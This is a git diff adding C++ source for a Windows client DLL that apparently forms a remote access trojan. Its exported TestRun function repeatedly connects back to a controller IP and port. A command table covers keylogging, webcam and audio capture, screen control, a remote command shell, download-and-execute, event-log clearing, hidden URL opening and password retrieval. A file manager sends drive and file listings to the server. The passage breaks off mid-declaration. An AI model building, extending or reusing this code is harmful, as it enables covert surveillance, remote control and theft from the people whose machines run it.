CCaptureVideo::ResizeVideoWindow(); + HRESULT CCaptureVideo::SetupVideoWindow(); + void CCaptureVideo::SendEnd(); +}; + +#endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp new file mode 100644 index 0000000..3dcd338 --- /dev/null +++ b/client/ClientDll.cpp @@ -0,0 +1,93 @@ +// ClientDll.cpp : Defines the entry point for the DLL application. +// + +#include "stdafx.h" +#include "Common.h" +#include "IOCPClient.h" +#include +#include "LoginServer.h" +#include "KernelManager.h" +using namespace std; + +char g_szServerIP[MAX_PATH] = {0}; +unsigned short g_uPort = 0; +bool g_bExit = false; +bool g_bThreadExit = false; +HINSTANCE g_hInstance = NULL; +DWORD WINAPI StartClient(LPVOID lParam); + +BOOL APIENTRY DllMain( HINSTANCE hInstance, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + { + g_hInstance = (HINSTANCE)hInstance; + + break; + } + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + + +extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) +{ + memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); + g_uPort = uPort; + + HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL); +#ifdef _DEBUG + WaitForSingleObject(hThread, 200); +#else + WaitForSingleObject(hThread, INFINITE); +#endif + CloseHandle(hThread); +} + +// ֹͣ +extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; } + + +// Ƿɹֹͣ +extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; } + + +DWORD WINAPI StartClient(LPVOID lParam) +{ + IOCPClient *ClientObject = new IOCPClient(); + + while (!g_bExit) + { + DWORD dwTickCount = GetTickCount(); + if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) + { + for (int k = 500; !g_bExit && --k; Sleep(10)); + continue; + } + //׼һ + SendLoginInfo(ClientObject, GetTickCount()-dwTickCount); + + CKernelManager Manager(ClientObject); + bool bIsRun = 0; + do + { + Sleep(200); + + bIsRun = ClientObject->IsRunning(); + + } while (bIsRun && ClientObject->IsConnected() && !g_bExit); + } + + cout<<"StartClient end\n"; + delete ClientObject; + g_bThreadExit = true; + + return 0; +} diff --git a/client/ClientDll.sln b/client/ClientDll.sln new file mode 100644 index 0000000..999e584 --- /dev/null +++ b/client/ClientDll.sln @@ -0,0 +1,20 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ClientDll", "ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/client/ClientDll.vcxproj b/client/ClientDll.vcxproj new file mode 100644 index 0000000..11ca7d5 --- /dev/null +++ b/client/ClientDll.vcxproj @@ -0,0 +1,136 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} + ClientDll + ServerDll + + + + DynamicLibrary + true + v110 + MultiByte + + + DynamicLibrary + false + v110 + true + MultiByte + + + + + + + + + + + + + + + Level3 + Disabled + ./;%(AdditionalIncludeDirectories) + MultiThreadedDebug + + + true + zlib.lib;%(AdditionalDependencies) + libcmt.lib + + + + + Level3 + MaxSpeed + true + true + MultiThreaded + ./;%(AdditionalIncludeDirectories) + + + true + true + true + zlib.lib;%(AdditionalDependencies) + /SAFESEH:NO %(AdditionalOptions) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/client/ClientDll.vcxproj.filters b/client/ClientDll.vcxproj.filters new file mode 100644 index 0000000..15423fa --- /dev/null +++ b/client/ClientDll.vcxproj.filters @@ -0,0 +1,177 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 资源文件 + + + + + 资源文件 + + + + + 资源文件 + + + \ No newline at end of file diff --git a/client/ClientDll.vcxproj.user b/client/ClientDll.vcxproj.user new file mode 100644 index 0000000..2e0f120 --- /dev/null +++ b/client/ClientDll.vcxproj.user @@ -0,0 +1,11 @@ + + + + $(TargetDir)\TestRun.exe + WindowsLocalDebugger + + + $(TargetDir)\TestRun.exe + WindowsLocalDebugger + + \ No newline at end of file diff --git a/client/Common.cpp b/client/Common.cpp new file mode 100644 index 0000000..db7d8af --- /dev/null +++ b/client/Common.cpp @@ -0,0 +1,111 @@ +#include "StdAfx.h" +#include "Common.h" + +#include "ScreenManager.h" +#include "FileManager.h" +#include "TalkManager.h" +#include "ShellManager.h" +#include "SystemManager.h" +#include "AudioManager.h" +#include "RegisterManager.h" +#include "ServicesManager.h" +#include "VideoManager.h" + +extern char g_szServerIP[MAX_PATH]; +extern unsigned short g_uPort; + +HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, + SIZE_T dwStackSize, + LPTHREAD_START_ROUTINE StartAddress, + LPVOID lParam, + DWORD dwCreationFlags, + LPDWORD ThreadId, bool bInteractive) +{ + HANDLE hThread = INVALID_HANDLE_VALUE; + THREAD_ARG_LIST ThreadArgList = {0}; + ThreadArgList.StartAddress = StartAddress; + ThreadArgList.lParam = (void *)lParam; //IP + ThreadArgList.bInteractive = bInteractive; //?? + ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL); + hThread = (HANDLE)CreateThread(SecurityAttributes, + dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList, + dwCreationFlags, (LPDWORD)ThreadId); + + WaitForSingleObject(ThreadArgList.hEvent, INFINITE); + CloseHandle(ThreadArgList.hEvent); + + return hThread; +} + +DWORD WINAPI ThreadProc(LPVOID lParam) +{ + THREAD_ARG_LIST ThreadArgList = {0}; + memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST)); + SetEvent(ThreadArgList.hEvent); + + DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam); + return dwReturn; +} + +template DWORD WINAPI LoopManager(LPVOID lParam) +{ + IOCPClient *ClientObject = (IOCPClient *)lParam; + if (ClientObject->ConnectServer(g_szServerIP,g_uPort)) + { + Manager m(ClientObject, n); + ClientObject->RunEventLoop(); + } + delete ClientObject; + + return 0; +} + +DWORD WINAPI LoopScreenManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopFileManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopTalkManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopShellManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopProcessManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopWindowManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopVideoManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopAudioManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopRegisterManager(LPVOID lParam) +{ + return LoopManager(lParam); +} + +DWORD WINAPI LoopServicesManager(LPVOID lParam) +{ + return LoopManager(lParam); +} diff --git a/client/Common.h b/client/Common.h new file mode 100644 index 0000000..571c0ea --- /dev/null +++ b/client/Common.h @@ -0,0 +1,151 @@ +#pragma once + +#include "IOCPClient.h" + +enum +{ + // ļ䷽ʽ + TRANSFER_MODE_NORMAL = 0x00, // һ,ػԶѾУȡ + TRANSFER_MODE_ADDITION, // ׷ + TRANSFER_MODE_ADDITION_ALL, // ȫ׷ + TRANSFER_MODE_OVERWRITE, // + TRANSFER_MODE_OVERWRITE_ALL, // ȫ + TRANSFER_MODE_JUMP, // + TRANSFER_MODE_JUMP_ALL, // ȫ + TRANSFER_MODE_CANCEL, // ȡ + + // ƶ˷ + COMMAND_ACTIVED = 0x00, // ˿Լʼ + COMMAND_LIST_DRIVE, // гĿ¼ + COMMAND_LIST_FILES, // гĿ¼еļ + COMMAND_DOWN_FILES, // ļ + COMMAND_FILE_SIZE, // ϴʱļС + COMMAND_FILE_DATA, // ϴʱļ + COMMAND_EXCEPTION, // ䷢쳣Ҫ´ + COMMAND_CONTINUE, // + COMMAND_STOP, // ֹ + COMMAND_DELETE_FILE, // ɾļ + COMMAND_DELETE_DIRECTORY, // ɾĿ¼ + COMMAND_SET_TRANSFER_MODE, // ô䷽ʽ + COMMAND_CREATE_FOLDER, // ļ + COMMAND_RENAME_FILE, // ļļ + COMMAND_OPEN_FILE_SHOW, // ʾļ + COMMAND_OPEN_FILE_HIDE, // شļ + + COMMAND_SCREEN_SPY, // Ļ鿴 + COMMAND_SCREEN_RESET, // ıĻ + COMMAND_ALGORITHM_RESET, // ı㷨 + COMMAND_SCREEN_CTRL_ALT_DEL, // Ctrl+Alt+Del + COMMAND_SCREEN_CONTROL, // Ļ + COMMAND_SCREEN_BLOCK_INPUT, // ˼ + COMMAND_SCREEN_BLANK, // ˺ + COMMAND_SCREEN_CAPTURE_LAYER, // ׽ + COMMAND_SCREEN_GET_CLIPBOARD, // ȡԶ̼ + COMMAND_SCREEN_SET_CLIPBOARD, // Զ̼ + + COMMAND_WEBCAM, // ͷ + COMMAND_WEBCAM_ENABLECOMPRESS, // ͷҪ󾭹H263ѹ + COMMAND_WEBCAM_DISABLECOMPRESS, // ͷҪԭʼģʽ + COMMAND_WEBCAM_RESIZE, // ͷֱʣINT͵Ŀ + COMMAND_NEXT, // һ(ƶѾ򿪶Ի) + + COMMAND_KEYBOARD, // ̼¼ + COMMAND_KEYBOARD_OFFLINE, // ߼̼¼ + COMMAND_KEYBOARD_CLEAR, // ̼¼ + + COMMAND_AUDIO, // + + COMMAND_SYSTEM, // ϵͳ̣.... + COMMAND_PSLIST, // б + COMMAND_WSLIST, // б + COMMAND_DIALUPASS, // + COMMAND_KILLPROCESS, // رս + COMMAND_SHELL, // cmdshell + COMMAND_SESSION, // Ựػע, жأ + COMMAND_REMOVE, // жغ + COMMAND_DOWN_EXEC, // - ִ + COMMAND_UPDATE_SERVER, // - ظ + COMMAND_CLEAN_EVENT, // - ϵͳ־ + COMMAND_OPEN_URL_HIDE, // - شҳ + COMMAND_OPEN_URL_SHOW, // - ʾҳ + COMMAND_RENAME_REMARK, // ע + COMMAND_REPLAY_HEARTBEAT, // ظ + COMMAND_SERVICES, // + COMMAND_REGEDIT, + COMMAND_TALK, // ʱϢ֤ + + // ˷ıʶ + TOKEN_AUTH = 100, // Ҫ֤ + TOKEN_HEARTBEAT, // + TOKEN_LOGIN, // ߰ + TOKEN_DRIVE_LIST, // б + TOKEN_FILE_LIST, // ļб + TOKEN_FILE_SIZE, // ļСļʱ + TOKEN_FILE_DATA, // ļ + TOKEN_TRANSFER_FINISH, // + TOKEN_DELETE_FINISH, // ɾ + TOKEN_GET_TRANSFER_MODE, // õļ䷽ʽ + TOKEN_GET_FILEDATA, // Զ̵õļ + TOKEN_CREATEFOLDER_FINISH, // ļ + TOKEN_DATA_CONTINUE, // + TOKEN_RENAME_FINISH, // + TOKEN_EXCEPTION, // 쳣 + + TOKEN_BITMAPINFO, // Ļ鿴BITMAPINFO + TOKEN_FIRSTSCREEN, // Ļ鿴ĵһͼ + TOKEN_NEXTSCREEN, // Ļ鿴һͼ + TOKEN_CLIPBOARD_TEXT, // Ļ鿴ʱͼ + + TOKEN_WEBCAM_BITMAPINFO, // ͷBITMAPINFOHEADER + TOKEN_WEBCAM_DIB, // ͷͼ + + TOKEN_AUDIO_START, // ʼ + TOKEN_AUDIO_DATA, // + + TOKEN_KEYBOARD_START, // ̼¼ʼ + TOKEN_KEYBOARD_DATA, // ̼¼ + + TOKEN_PSLIST, // б + TOKEN_WSLIST, // б + TOKEN_DIALUPASS, // + TOKEN_SHELL_START, // Զն˿ʼ + TOKEN_SERVERLIST, // б + COMMAND_SERVICELIST, // ˢ·б + COMMAND_SERVICECONFIG, // ˷ıʶ + TOKEN_TALK_START, // ʱϢʼ + TOKEN_TALKCMPLT, // ʱϢط + TOKEN_REGEDIT = 200, // ע + COMMAND_REG_FIND, //ע ʶ + TOKEN_REG_KEY, + TOKEN_REG_PATH, + COMMAND_BYE +}; + + +typedef struct _THREAD_ARG_LIST +{ + DWORD (WINAPI *StartAddress)(LPVOID lParameter); + LPVOID lParam; + bool bInteractive; // Ƿֽ֧ ?? + HANDLE hEvent; +}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST; + +HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //ȫ + SIZE_T dwStackSize, //߳ջĴС 0 + LPTHREAD_START_ROUTINE StartAddress, //̺߳ص MyMain + LPVOID lParam, //char* strHost IP + DWORD dwCreationFlags, //0 4 + LPDWORD ThreadId, bool bInteractive=FALSE); + +DWORD WINAPI ThreadProc(LPVOID lParam); + +DWORD WINAPI LoopShellManager(LPVOID lParam); +DWORD WINAPI LoopScreenManager(LPVOID lParam); +DWORD WINAPI LoopFileManager(LPVOID lParam); +DWORD WINAPI LoopTalkManager(LPVOID lParam); +DWORD WINAPI LoopProcessManager(LPVOID lParam); +DWORD WINAPI LoopWindowManager(LPVOID lParam); +DWORD WINAPI LoopVideoManager(LPVOID lParam); +DWORD WINAPI LoopAudioManager(LPVOID lParam); +DWORD WINAPI LoopRegisterManager(LPVOID lParam); +DWORD WINAPI LoopServicesManager(LPVOID lParam); diff --git a/client/CursorInfor.cpp b/client/CursorInfor.cpp new file mode 100644 index 0000000..12655f0 --- /dev/null +++ b/client/CursorInfor.cpp @@ -0,0 +1,40 @@ +// CursorInfor.cpp: implementation of the CCursorInfor class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "CursorInfor.h" + + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CCursorInfor::CCursorInfor() +{ + +} + +CCursorInfor::~CCursorInfor() +{ + +} + +int CCursorInfor::GetCurrentCursorIndex() +{ + CURSORINFO ci; + ci.cbSize = sizeof(CURSORINFO); + if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING) + { + return -1; + } + + int iIndex = 0; + for (iIndex = 0; iIndex < MAX_CURSOR_TYPE; iIndex++) + { + break; + } + DestroyCursor(ci.hCursor); + + return iIndex == MAX_CURSOR_TYPE ? -1 : iIndex; +} diff --git a/client/CursorInfor.h b/client/CursorInfor.h new file mode 100644 index 0000000..590a6c6 --- /dev/null +++ b/client/CursorInfor.h @@ -0,0 +1,22 @@ +// CursorInfor.h: interface for the CCursorInfor class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_) +#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#define MAX_CURSOR_TYPE 16 +class CCursorInfor +{ +public: + CCursorInfor(); + virtual ~CCursorInfor(); + + int GetCurrentCursorIndex(); +}; + +#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_) diff --git a/client/ExportFunTable.def b/client/ExportFunTable.def new file mode 100644 index 0000000..5124b6c --- /dev/null +++ b/client/ExportFunTable.def @@ -0,0 +1,3 @@ +EXPORTS + TestRun + StopRun diff --git a/client/FileManager.cpp b/client/FileManager.cpp new file mode 100644 index 0000000..c1b928a --- /dev/null +++ b/client/FileManager.cpp @@ -0,0 +1,497 @@ +// FileManager.cpp: implementation of the CFileManager class. +// +////////////////////////////////////////////////////////////////////// + +#include "stdafx.h" +#include "FileManager.h" +#include "Common.h" +#include +#include +using namespace std; + +////////////////////////////////////////////////////////////////////// +// Construction/Destruction +////////////////////////////////////////////////////////////////////// + +CFileManager::CFileManager(IOCPClient* ClientObject, int n):CManager(ClientObject) +{ + m_ulTransferMode = TRANSFER_MODE_NORMAL; + + SendDiskDriverList(); +} + + +ULONG CFileManager::SendDiskDriverList() //ñض˵ĴϢ +{ + char szDiskDriverString[0x500] = {0}; + // ǰһֽΪϢͣ52ֽΪ + BYTE szBuffer[0x1000] = {0}; + char szFileSystem[MAX_PATH] = {0}; + char *Travel = NULL; + szBuffer[0] = TOKEN_DRIVE_LIST; // б + GetLogicalDriveStrings(sizeof(szDiskDriverString), szDiskDriverString); + + //Ϣ + //0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F: + //0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. + + Travel = szDiskDriverString; + + unsigned __int64 ulHardDiskAmount = 0; //HardDisk + unsigned __int64 ulHardDiskFreeSpace = 0; + unsigned long ulHardDiskAmountMB = 0; // ܴС + unsigned long ulHardDiskFreeMB = 0; // ʣռ + + //Ϣ + //0018F460 43 3A 5C 00 44 3A 5C 00 45 3A 5C 00 46 3A C:\.D:\.E:\.F: + //0018F46E 5C 00 47 3A 5C 00 48 3A 5C 00 4A 3A 5C 00 \.G:\.H:\.J:\. \0 + + //עdwOffsetܴ0 Ϊ0λ洢Ϣ + DWORD dwOffset = 1; + for (; *Travel != '\0'; Travel += lstrlen(Travel) + 1) //+1Ϊ˹\0 + { + memset(szFileSystem, 0, sizeof(szFileSystem)); + + // õļϵͳϢС + GetVolumeInformation(Travel, NULL, 0, NULL, NULL, NULL, szFileSystem, MAX_PATH); + ULONG ulFileSystemLength = lstrlen(szFileSystem) + 1; + + SHFILEINFO sfi; + SHGetFileInfo(Travel,FILE_ATTRIBUTE_NORMAL,&sfi, + sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); + + ULONG ulDiskTypeNameLength = lstrlen(sfi.szTypeName) + 1; + + // ̴С + if (Travel[0] != 'A' && Travel[0] != 'B' + && GetDiskFreeSpaceEx(Travel, (PULARGE_INTEGER)&ulHardDiskFreeSpace, + (PULARGE_INTEGER)&ulHardDiskAmount, NULL)) + { + ulHardDiskAmountMB = ulHardDiskAmount / 1024 / 1024; //ֽҪתG + ulHardDiskFreeMB = ulHardDiskFreeSpace / 1024 / 1024; + } + else + { + ulHardDiskAmountMB = 0; + ulHardDiskFreeMB = 0; + } + // ʼֵ + szBuffer[dwOffset] = Travel[0]; //̷ + szBuffer[dwOffset + 1] = GetDriveType(Travel); // + + // ̿ռռȥ8ֽ + memcpy(szBuffer + dwOffset + 2, &ulHardDiskAmountMB, sizeof(unsigned long)); + memcpy(szBuffer + dwOffset + 6, &ulHardDiskFreeMB, sizeof(unsigned long)); + + // ̾ + memcpy(szBuffer + dwOffset + 10, sfi.szTypeName, ulDiskTypeNameLength); + memcpy(szBuffer + dwOffset + 10 + ulDiskTypeNameLength, szFileSystem, + ulFileSystemLength); + + dwOffset += 10 + ulDiskTypeNameLength + ulFileSystemLength; + } + + return m_ClientObject->OnServerSending((char*)szBuffer, dwOffset); +} + +CFileManager::~CFileManager() +{ + cout<<"Զļ"<dwSizeHigh * (MAXDWORD + 1)) + FileSize->dwSizeLow; + + // Ŀ¼ + MakeSureDirectoryPathExists(m_szOperatingFileName); + + WIN32_FIND_DATA wfa; + HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa); + + //1 2 3 1 2 3 + if (hFind != INVALID_HANDLE_VALUE + && m_ulTransferMode != TRANSFER_MODE_OVERWRITE_ALL + && m_ulTransferMode != TRANSFER_MODE_JUMP_ALL + ) + { + BYTE bToken[1]; + bToken[0] = TOKEN_GET_TRANSFER_MODE; + m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); + } + else + { + GetFileData(); //ûͬļͻִе + } + FindClose(hFind); +} + +VOID CFileManager::WriteClientRecvFile(LPBYTE szBuffer, ULONG ulLength) +{ + BYTE *Travel; + DWORD dwNumberOfBytesToWrite = 0; + DWORD dwNumberOfBytesWirte = 0; + int nHeadLength = 9; // 1 + 4 + 4 ݰͷСΪ̶9 + FILE_SIZE *FileSize; + // õݵƫ + Travel = szBuffer + 8; + + FileSize = (FILE_SIZE *)szBuffer; + + // õļеƫ + + LONG dwOffsetHigh = FileSize->dwSizeHigh; + LONG dwOffsetLow = FileSize->dwSizeLow; + + dwNumberOfBytesToWrite = ulLength - 8; + + HANDLE hFile = + CreateFile + ( + m_szOperatingFileName, + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + 0 + ); + + SetFilePointer(hFile, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); + + int iRet = 0; + // дļ + iRet = WriteFile + ( + hFile, + Travel, + dwNumberOfBytesToWrite, + &dwNumberOfBytesWirte, + NULL + ); + + CloseHandle(hFile); + BYTE bToken[9]; + bToken[0] = TOKEN_DATA_CONTINUE;//TOKEN_DATA_CONTINUE + dwOffsetLow += dwNumberOfBytesWirte; // + memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); + memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); + m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); +} + + +BOOL CFileManager::MakeSureDirectoryPathExists(char* szDirectoryFullPath) +{ + char* szTravel = NULL; + char* szBuffer = NULL; + DWORD dwAttributes; + __try + { + szBuffer = (char*)malloc(sizeof(char)*(strlen(szDirectoryFullPath) + 1)); + + if(szBuffer == NULL) + { + return FALSE; + } + + strcpy(szBuffer, szDirectoryFullPath); + + szTravel = szBuffer; + + if (0) + { + } + else if(*(szTravel+1) == ':') + { + szTravel++; + szTravel++; + if(*szTravel && (*szTravel == '\\')) + { + szTravel++; + } + } + + while(*szTravel) //\Hello\World\Shit\0 + { + if(*szTravel == '\\') + { + *szTravel = '\0'; + dwAttributes = GetFileAttributes(szBuffer); //鿴ǷǷĿ¼ Ŀ¼ + if(dwAttributes == 0xffffffff) + { + if(!CreateDirectory(szBuffer, NULL)) + { + if(GetLastError() != ERROR_ALREADY_EXISTS) + { + free(szBuffer); + return FALSE; + } + } + } + else + { + if((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) + { + free(szBuffer); + szBuffer = NULL; + return FALSE; + } + } + + *szTravel = '\\'; + } + + szTravel = CharNext(szTravel); + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + if (szBuffer!=NULL) + { + free(szBuffer); + + szBuffer = NULL; + } + + return FALSE; + } + + if (szBuffer!=NULL) + { + free(szBuffer); + szBuffer = NULL; + } + return TRUE; +} + +ULONG CFileManager::SendFilesList(char* szDirectoryPath) +{ + // ô䷽ʽ + m_ulTransferMode = TRANSFER_MODE_NORMAL; + ULONG ulRet = 0; + DWORD dwOffset = 0; // λָ + + char *szBuffer = NULL; + ULONG ulLength = 1024 * 10; // ȷ10KĻ + + szBuffer = (char*)LocalAlloc(LPTR, ulLength); + if (szBuffer==NULL) + { + return 0; + } + + char szDirectoryFullPath[MAX_PATH]; + + wsprintf(szDirectoryFullPath, "%s\\*.*", szDirectoryPath); + + HANDLE hFile = INVALID_HANDLE_VALUE; + WIN32_FIND_DATA wfd; + hFile = FindFirstFile(szDirectoryFullPath, &wfd); + + if (hFile == INVALID_HANDLE_VALUE) + { + BYTE bToken = TOKEN_FILE_LIST; + + if (szBuffer!=NULL) + { + + LocalFree(szBuffer); + szBuffer = NULL; + } + return m_ClientObject->OnServerSending((char*)&bToken, 1); //· + } + + szBuffer[0] = TOKEN_FILE_LIST; + + // 1 Ϊݰͷռֽ,ֵ + dwOffset = 1; + /* + ļ 1 + ļ strlen(filename) + 1 ('\0') + ļС 4 + */ + do + { + // ̬չ + if (dwOffset > (ulLength - MAX_PATH * 2)) + { + ulLength += MAX_PATH * 2; + szBuffer = (char*)LocalReAlloc(szBuffer, + ulLength, LMEM_ZEROINIT|LMEM_MOVEABLE); + } + char* szFileName = wfd.cFileName; + if (strcmp(szFileName, ".") == 0 || strcmp(szFileName, "..") == 0) + continue; + // ļ 1 ֽ + + //[Flag 1 HelloWorld\0С С ʱ ʱ + // 0 1.txt\0 С С ʱ ʱ] + *(szBuffer + dwOffset) = wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY; + dwOffset++; + // ļ lstrlen(pszFileName) + 1 ֽ + ULONG ulFileNameLength = strlen(szFileName); + memcpy(szBuffer + dwOffset, szFileName, ulFileNameLength); + dwOffset += ulFileNameLength; + *(szBuffer + dwOffset) = 0; + dwOffset++; + + // ļС 8 ֽ + memcpy(szBuffer + dwOffset, &wfd.nFileSizeHigh, sizeof(DWORD)); + memcpy(szBuffer + dwOffset + 4, &wfd.nFileSizeLow, sizeof(DWORD)); + dwOffset += 8; + // ʱ 8 ֽ + memcpy(szBuffer + dwOffset, &wfd.ftLastWriteTime, sizeof(FILETIME)); + dwOffset += 8; + } while(FindNextFile(hFile, &wfd)); + + ulRet = m_ClientObject->OnServerSending(szBuffer, dwOffset); + + LocalFree(szBuffer); + FindClose(hFile); + return ulRet; +} + +VOID CFileManager::GetFileData() +{ + int nTransferMode; + switch (m_ulTransferMode) //ûͬDzCaseе + { + case TRANSFER_MODE_OVERWRITE_ALL: + nTransferMode = TRANSFER_MODE_OVERWRITE; + break; + case TRANSFER_MODE_JUMP_ALL: + nTransferMode = TRANSFER_MODE_JUMP; //CreateFilealways openeixt + break; + default: + nTransferMode = m_ulTransferMode; //1. 2 3 + } + + WIN32_FIND_DATA wfa; + HANDLE hFind = FindFirstFile(m_szOperatingFileName, &wfa); + + //1ֽToken,ֽƫƸλֽƫƵλ + BYTE bToken[9]; + DWORD dwCreationDisposition; // ļ򿪷ʽ + memset(bToken, 0, sizeof(bToken)); + bToken[0] = TOKEN_DATA_CONTINUE; + // ļѾ + if (hFind != INVALID_HANDLE_VALUE) + { + // + if (nTransferMode == TRANSFER_MODE_OVERWRITE) + { + //ƫ0 + memset(bToken + 1, 0, 8);//0000 0000 + // ´ + dwCreationDisposition = CREATE_ALWAYS; //и + + } + // һ + else if(nTransferMode == TRANSFER_MODE_JUMP) + { + DWORD dwOffset = -1; //0000 -1 + memcpy(bToken + 5, &dwOffset, 4); + dwCreationDisposition = OPEN_EXISTING; + } + } + else + { + memset(bToken + 1, 0, 8); //0000 0000 //ûͬļߵ + // ´ + dwCreationDisposition = CREATE_ALWAYS; //һµļ + } + FindClose(hFind); + + HANDLE hFile = + CreateFile + ( + m_szOperatingFileName, + GENERIC_WRITE, + FILE_SHARE_WRITE, + NULL, + dwCreationDisposition, // + FILE_ATTRIBUTE_NORMAL, + 0 + ); + // Ҫ + if (hFile == INVALID_HANDLE_VALUE) + { + m_OperatingFileLength = 0; + return; + } + CloseHandle(hFile); + + m_ClientObject->OnServerSending((char*)&bToken, sizeof(bToken)); +} diff --git a/client/FileManager.h b/client/FileManager.h new file mode 100644 index 0000000..eeadcb8 --- /dev/null +++ b/client/FileManager.h @@ -0,0 +1,44 @@ +// FileManager.h: interface for the CFileManager class. +// +////////////////////////////////////////////////////////////////////// + +#if !defined(AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_) +#define AFX_FILEMANAGER_H__FA7A4DE1_0123_47FD_84CE_85F4B24149CE__INCLUDED_ + +#if _MSC_VER > 1000 +#pragma once +#endif // _MSC_VER > 1000 + +#include "Manager.h" +#include "IOCPClient.h" + + +typedef struct +{ + DWORD dwSizeHigh; + DWORD dwSizeLow; +}FILE_SIZE; + +class CFileManager : public CManager +{ +public: + CFileManager(IOCPClient* ClientObject, int n); + virtual ~CFileManager(); + + VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + ULONG 